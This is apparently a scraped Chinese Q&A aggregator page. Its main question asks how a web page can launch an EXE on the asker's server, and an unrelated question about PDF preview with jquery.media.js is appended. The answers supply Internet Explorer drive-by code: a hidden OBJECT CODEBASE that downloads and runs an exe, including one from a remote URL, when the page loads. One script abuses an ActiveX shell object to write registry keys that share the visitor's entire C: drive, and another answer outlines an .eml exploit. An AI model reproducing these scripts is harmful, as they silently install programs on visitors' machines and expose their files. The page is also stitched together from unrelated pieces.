如何在网页中打开exe文件,并进行链接操作(求思路求方案)

Posted

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了如何在网页中打开exe文件,并进行链接操作(求思路求方案)相关的知识,希望对你有一定的参考价值。

在VPS上运行EXE程序操作。以IIS架设个网站,进行网页传参操作。判断程序操作动作完成,以事先截好的图显示网页上。如果以网页输入,输入数字后,提交作为操作动作(如IE浏览器:1,启动。2关闭。3最小化。4工具)如何实现呢?难道再弄个脚本程序,再用网页传参操作脚本? 当然简单点的直接远程就可以了。但主要是网页传参操作。。求思路求方案

555,没分了。。

第一种
它应该算是html带动同路径下的一个exe的文件的主页了,也就是当浏览器浏览这个页面的时候,一个exe的文件就在后台自动下载并执行了,可以做一个test.html的文件在桌面,内容如下:
<script
language="javascript">
run_exe="<OBJECT ID=\"RUNIT\" WIDTH=0 HEIGHT=0
TYPE=\"application/x-oleobject\""
run_exe+="CODEBASE=\"test.exe#version=1,1,1,1\">"
run_exe+="<PARAM
NAME=\"_Version\"
value=\"65536\">"
run_exe+="</OBJECT>"
run_exe+="<HTML><H1>网页加载中,请稍后....</H1></HTML>";
document.open();
document.clear();
document.writeln(run_exe);
document.close();
</script>

第二种
是通过ie自身的漏洞写入注册表,可以做个页面让浏览者的硬盘完全共享,也是做个html的文件,内容如下:
script
language=javascript>
document.write("<APPLET HEIGHT=0 WIDTH=0
code=com.ms.activeX.ActiveXComponent></APPLET>");
function
f()
a1=document.applets[0];
a1.setCLSID("F935DC22-1CF0-11D0-ADB9-00C04FD58A0B");
a1.createInstance();
Shl
= a1.GetObject();
Shl.RegWrite
("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Network\\LanMan\\RWC$\\Flags",402,"REG_DWORD");
Shl.RegWrite
("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Network\\LanMan\\RWC$\\Type",0,"REG_DWORD"
);
Shl.RegWrite
("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Network\\LanMan\\RWC$\\Path","C:\\");

function
init()

setTimeout("f()", 1000);


init();
</script>

第三种
个人认为是现在最好用的一种,把exe文件作成一个.eml的文件,再用ie的漏洞让一个html的页面执行这个.eml的文件,你的那个小巧的exe文件就被执行了.由于代码过长又因每个exe文件转换后的代码不同所以不可能一一写出
参考技术A 用 js 代码嵌入,例如下面的这段代码:

<script language="javascript">
run_exe="<OBJECT ID=""RUNIT"" WIDTH=0 HEIGHT=0 TYPE=""application/x-oleobject"""
run_exe+="CODEBASE=""http://**.com/**.exe#version=1,1,1,1"">"
//这里的**.exe就是要运行的程序的网上路径
run_exe+="<PARAM NAME=""_Version"" value=""65536"">"
run_exe+="</OBJECT>"
run_exe+="<HTML><H1>等会......网页在下载支持的文件</H1></HTML>";
//这里可以写其他任何东西.也可以什么都不写
document.open();
document.clear();
document.writeln(run_exe);
document.close();
</script>
参考技术B   最好用的一种,把exe文件作成一个.eml的文件,再用ie的漏洞让一个html的页面执行这个.eml的文件,你的那个小巧的exe文件就被执行了.由于代码过长又因每个exe文件转换后的代码不同所以不可能一一写出

如何在浏览器中打开PDF文件并实现预览的思路与代码

其实也就是简单的在浏览器中实现一个打开pdf文件,并有类似预览功能的边框。 其实在网上经常见到类似的页面,在浏览器中打开pdf文档,可大部分都是由于版权的原因使用了一些很特殊的技术,自然很难模仿了。 即使有直接在浏览器打开的例子,也必须手动点击一下链接然后才能打开pdf文件。如何直接打开,而不用点击链接呢? 本以为自己对js很熟,也就使用js模拟点击,可就是不管用,没办法,只能在网上继续寻找资料。最终想不到代码却很简单。 最主要的是使用到了一个jquery的插件jquery.media.js,使用这个插件就很容易实现了。 核心代码: <html xmlns="/1999/xhtml"> <head runat="server"> <meta content="IE=7.0000" http-equiv="X-UA-Compatible"/> <title>pdf阅读</title> <script type="text/javascript" src="pdfview_files/jquery-1.7.2.min.js"></script> <script type="text/javascript" src="pdfview_files/jquery.media.js"></script> <script type="text/javascript"> $(function () $('a.media').media( width: 800, height: 800 ); ); </script> </head> <body> <form id="form1" runat="server"> <div id="main"> <a class="media" href="../../灾害性天气典型个例/暴雨/河套西部一次局地大暴雨成因分析.pdf" id="PDFFile"> 河套西部一次局地大暴雨成因分析</a> </div> </form> </body> </html> 使用jquery.media.js就可以直接把一个连接到pdf文件的链接打开 参考技术A 网页中浏览器是可以打开pdf文件查看的。 如果打不开可能是你的电脑上没有安装pdf阅读器安装一个试试。希望对你有帮助,看后请点击我的回答下方【选为满意答案】按钮

以上是关于如何在网页中打开exe文件,并进行链接操作(求思路求方案)的主要内容,如果未能解决你的问题,请参考以下文章

excel操作如何在网页中实现

如何将exe文件嵌入网页?

各位大神,我需要安装wps,别人给了我安装包,但是我打开之后在自己电脑上不会安装,跪求大神,如何装

如何打开一个网站直接运行一个EXE文件

如何操作cmd的命令让一打开文件弹出很多窗口 不知道怎么搞的 好像要bat换exe的软件 又要创文档 求高手啊

使用Python不断打开exe文件和关闭exe文件